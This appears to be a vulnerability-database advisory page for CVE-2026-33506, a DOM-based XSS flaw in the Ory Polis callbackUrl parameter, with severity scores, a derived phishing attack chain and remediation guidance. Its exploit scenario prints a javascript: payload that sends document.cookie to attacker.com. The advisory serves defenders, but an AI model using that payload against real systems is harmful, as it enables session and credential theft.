Skip to main content

Polis EUVDEUVD-2026-16320

| CVE-2026-33506 HIGH
Improper Neutralization of Alternate XSS Syntax (CWE-87)
2026-03-26 GitHub_M
8.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious link with XSS payload in callbackUrl
  2. Delivery
    Send link to authenticated user
  3. Exploit
    User clicks link in Ory Polis login
  4. Execution
    router.push executes unsanitized parameter
  5. Persist
    Arbitrary JavaScript executes in browser context
  6. Impact
    Steal session credentials or tokens

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2021 - Vulnerable and Outdated Components
ASVS 5.0
V14 - Configuration Dependency management, component inventory
Exploitation Conditions

Ory Polis versions prior to 26.2.0. Attacker crafts malicious link containing malicious callbackUrl parameter. Victim must click the link and authenticate (or be already authenticated). Executes arbitrary JavaScript in victim's browser context.

Impact

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L indicates network-based attacks with low complexity, no privileges required, but user interaction necessary, plus scope change enabling cross-domain impact. Despite the 8.8 severity score, real-world risk is moderated by several factors: SSVC framework classifies exploitation as none with non-automatable attacks and partial technical impact, no public exploit code exists, and no CISA KEV listing confirms active exploitation. The UI:R requirement means victims must click malicious links, limiting opportunistic mass exploitation. The primary risk lies in targeted phishing campaigns against organizations using Polis for SAML authentication, where credential theft could enable lateral movement. Overall assessment: elevated risk for targeted environments but not an imminent widespread threat given current exploitation landscape.

Exploit ScenarioDerived

An attacker crafts a phishing email containing a legitimate-looking Ory Polis login URL with a malicious callbackUrl parameter embedding JavaScript payload (e.g., javascript:document.location='https://attacker.com/steal?cookie='+document.cookie). When the victim clicks the link and completes authentication, the unvalidated parameter is passed to router.push, executing the attacker's script in the authenticated session context. This enables credential exfiltration, session token theft, or redirection to attacker-controlled infrastructure for further social engineering. The low attack complexity and network-based vector make this exploitable via email, messaging platforms, or compromised websites linking to vulnerable Polis instances.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 26, 2026

DOM-based Cross-Site Scripting in Ory Polis (formerly BoxyHQ Jackson) SAML-to-OAuth bridge allows unauthenticated remote attackers to execute arbitrary JavaScript in victim browsers via crafted callbackUrl parameters. Versions prior to 26.2.0 are affected, with vendor-released patch available in version 26.2.0. No public exploit identified at time of analysis. CVSS score of 8.8 reflects network-based attack vector with low complexity requiring only user interaction, though SSVC framework rates technical impact as partial with no observed exploitation and non-automatable attack pattern.

RemediationAI

Upgrade Ory Polis to version 26.2.0 or later, which contains the vendor-released patch addressing this DOM-based XSS vulnerability (release details at https://github.com/ory/polis/releases/tag/v26.2.0). Until patching is completed, implement defense-in-depth measures including Content Security Policy headers that restrict script-src to 'self' and disable unsafe-inline, configure URL validation middleware to whitelist permitted callback domains, and educate users to verify login URLs match expected organizational domains before entering credentials. Review authentication logs for anomalous callbackUrl patterns that may indicate exploitation attempts. Consult the GitHub security advisory at https://github.com/ory/polis/security/advisories/GHSA-3wjr-6gw8-9j22 for complete remediation guidance.

Affected VersionsENISA

polis < 26.2.0

Affected Packages

euvd polis fix: 26.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Ory Polis is a SAML login flow bridge that proxies authentication to OAuth 2.0 or OpenID Connect protocols. The vulnerability stems from CWE-87 (Improper Neutralization of Alternate XSS Syntax), where the application fails to validate or sanitize the callbackUrl parameter before passing it to router.push for client-side navigation. This DOM-based XSS occurs entirely in the browser context without server-side validation, allowing injection of javascript: URIs or other malicious payloads. The affected product per CPE is cpe:2.3:a:ory:polis:*:*:*:*:*:*:*:*, encompassing all versions prior to the patched release.

Know when Polis gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

3
Analysis Updated
Apr 16, 2026 - 06:13 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
26.2.0
CVE Published
Mar 26, 2026 - 18:48 nvd
HIGH 8.8

DescriptionGitHub Advisory

Ory Polis, formerly known as BoxyHQ Jackson, bridges or proxies a SAML login flow to OAuth 2.0 or OpenID Connect. Versions prior to 26.2.0 contain a DOM-based Cross-Site Scripting (XSS) vulnerability in Ory Polis's login functionality. The application improperly trusts a URL parameter (callbackUrl), which is passed to router.push. An attacker can craft a malicious link that, when opened by an authenticated user (or an unauthenticated user that later logs in), performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. Version 26.2.0 contains a patch for the issue.

Executive ViewAI

Why It Matters

Ory Polis versions before 26.2.0 contain a DOM-based XSS vulnerability in the SAML-to-OAuth bridge that allows unauthenticated attackers to execute malicious JavaScript in user browsers through crafted callback URLs. This affects any organization using Ory Polis for identity federation and could enable credential theft, session hijacking, or malware distribution to end users during the authentication process.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not possible: implement strict input validation and sanitization for all callbackUrl parameters; deploy Web Application Firewall rules to block malformed callback URLs; restrict SAML assertion consumers to whitelisted domains only; educate users to verify URLs before completing authentication flows.

Threat Intelligence Overview

EPSS Score
0.1%
Top 79% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy